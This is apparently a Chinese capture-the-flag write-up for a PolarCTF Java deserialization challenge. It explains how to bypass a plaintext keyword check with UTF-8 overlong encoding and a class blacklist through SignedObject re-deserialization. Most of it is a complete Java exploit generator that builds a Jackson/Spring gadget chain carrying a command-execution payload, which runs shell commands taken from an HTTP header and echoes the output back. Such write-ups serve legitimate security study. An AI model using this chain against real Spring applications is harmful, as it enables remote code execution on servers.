Polarctf2025夏季赛 web java ez_check

第一次自己做出一个java,值得小小的记录,polar的java真得非常友好

反编译jar包,一眼就看到有个/deserialize 路由,接受base64的序列化数据,base64解码后

经过一次kmp检查,再由SafeObjectInputStream来反序列化

看pom.xml里没有别的依赖,那就是打spring原生的jackson反序列化,思考如何绕过

大佬讲解jackson反序列化的文章
https://xz.aliyun.com/news/12412

kmp_check

kmp顾名思义就是对序列化字符串明文的检查 ,这个很容易绕,直接utf-8 overlong encoding就行

大佬实现的文章
探索Java反序列化绕WAF新姿势 - 飞书云文档 (feishu.cn)

SafeObjectInputStream_check

然后是SafeObjectInputStream,黑名单

java 复制代码
private static final Set<String> BLACKLIST = new HashSet(Arrays.asList("org.apache.commons.beanutils.BeanComparator", "javax.management.BadAttributeValueExpException", "org.apache.commons.collections4.map.AbstractHashedMap", "org.springframework.aop.target.HotSwappableTargetSource", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"));

把最后的TemplatesImpl ban了,没有ban经典的signObject,直接打signObject二次反序列化,最常用的触发toString的BadAttributeValueExpException没了,换成EventListenerList即可

需要注意的是,signObject里的序列化数据也要用utf-8 overlong ,不只是signObject,在这里卡了好一会,

如何设置呢?看signObject里触发二次反序列化的地方

就可以知道序列化数据是this.content,可以反射赋值,是private的,先setAccesible就行

还有经典的jackson 要用动态代理使链子稳定
关于java反序列化中jackson链子不稳定问题

polar的靶场不出网,打springecho

exp

java 复制代码
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.*;
import java.net.URLEncoder;
public class SignedObjectChain {
    public static void main(String[] args) throws Exception {
        // 设置signobject内的反序列化
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{genPayload()});
        setFieldValue(templatesImpl, "_name", "hello");
        setFieldValue(templatesImpl, "_tfactory", null);
        //JdkDynamicAopProxy 动态代理 使链子稳定
        Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templatesImpl);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
        POJONode jsonNodes2 = new POJONode(proxyObj);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        setFieldValue(exp,"val",jsonNodes2);
        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(1,privateKey,signingEngine);
        //反射设置序列化数据
        ByteArrayOutputStream b = new ByteArrayOutputStream();
        ObjectOutput a = new CustomObjectOutputStream(b);
        a.writeObject(exp);
        a.flush();
        a.close();
        setFieldValue(signedObject,"content",b.toByteArray());
        //接上EventListenerList
        POJONode jsonNodes = new POJONode(signedObject);
        EventListenerList list = new EventListenerList();
        UndoManager manager = new UndoManager();
        Vector vector = (Vector) getFieldValue(manager, "edits");
        vector.add(jsonNodes);
        setFieldValue(list, "listenerList", new Object[]{Map.class, manager});
        if(new Checker().KmpCheck(Base64.getDecoder().decode(serial(list))))
        {
            System.out.println("No");
        }
        System.out.println( URLEncoder.encode(serial(list)));
//        deserial(serial(list));
    }

    public static byte[] get_calc() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        ctClass.addConstructor(constructor);
        return ctClass.toBytecode();
    }

    public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {

        Class clazz = obj.getClass();
        while (clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);
                return field.get(obj);
            } catch (Exception e) {
                clazz = clazz.getSuperclass();
            }
        }
        return null;
    }
    public static byte[] genPayload() throws Exception{
        ClassPool classPool = ClassPool.getDefault();
        CtClass clazz = classPool.makeClass("A");
        if ((clazz.getDeclaredConstructors()).length != 0) {
            clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
        }        clazz.addConstructor(CtNewConstructor.make("public B() throws Exception {\n" +
                "                org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
                "                javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
                "                javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
                "                String[] cmd =  new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" +
                "                byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
                "                httpresponse.getWriter().write(new String(result));\n" +
                "                httpresponse.getWriter().flush();\n" +
                "                httpresponse.getWriter().close();\n" +
                "        }", clazz));
        clazz.getClassFile().setMajorVersion(50);
        CtClass superClass = classPool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        return clazz.toBytecode();
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        CustomObjectOutputStream coos = new CustomObjectOutputStream(baos);
        coos.writeObject(o);

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return(base64String);

    }

    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }

    private static void Base64Encode(ByteArrayOutputStream bs){
        byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
        String s = new String(encode);
        System.out.println(s);
        System.out.println(s.length());
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}
相关推荐
面朝大海,春不暖,花不开10 分钟前
Java网络编程:TCP/UDP套接字通信详解
java·网络·tcp/ip
Green1Leaves23 分钟前
pytorch学习-9.多分类问题
人工智能·pytorch·学习
慕y27442 分钟前
Java学习第十五部分——MyBatis
java·学习·mybatis
A__tao1 小时前
SQL 转 Java 实体类工具
java·数据库·sql
喝可乐的布偶猫1 小时前
Java类变量(静态变量)
java·开发语言·jvm
TDengine (老段)1 小时前
TDengine STMT2 API 使用指南
java·大数据·物联网·时序数据库·iot·tdengine·涛思数据
喝可乐的布偶猫1 小时前
韩顺平之第九章综合练习-----------房屋出租管理系统
java·开发语言·ide·eclipse
碣石潇湘无限路1 小时前
【AI篇】当Transformer模型开始学习《孙子兵法》
人工智能·学习
Code季风2 小时前
深入理解微服务中的服务注册与发现(Consul)
java·运维·微服务·zookeeper·架构·go·consul
光军oi2 小时前
java微服务(Springboot篇)——————IDEA搭建第一个Springboot入门项目
java·spring boot·微服务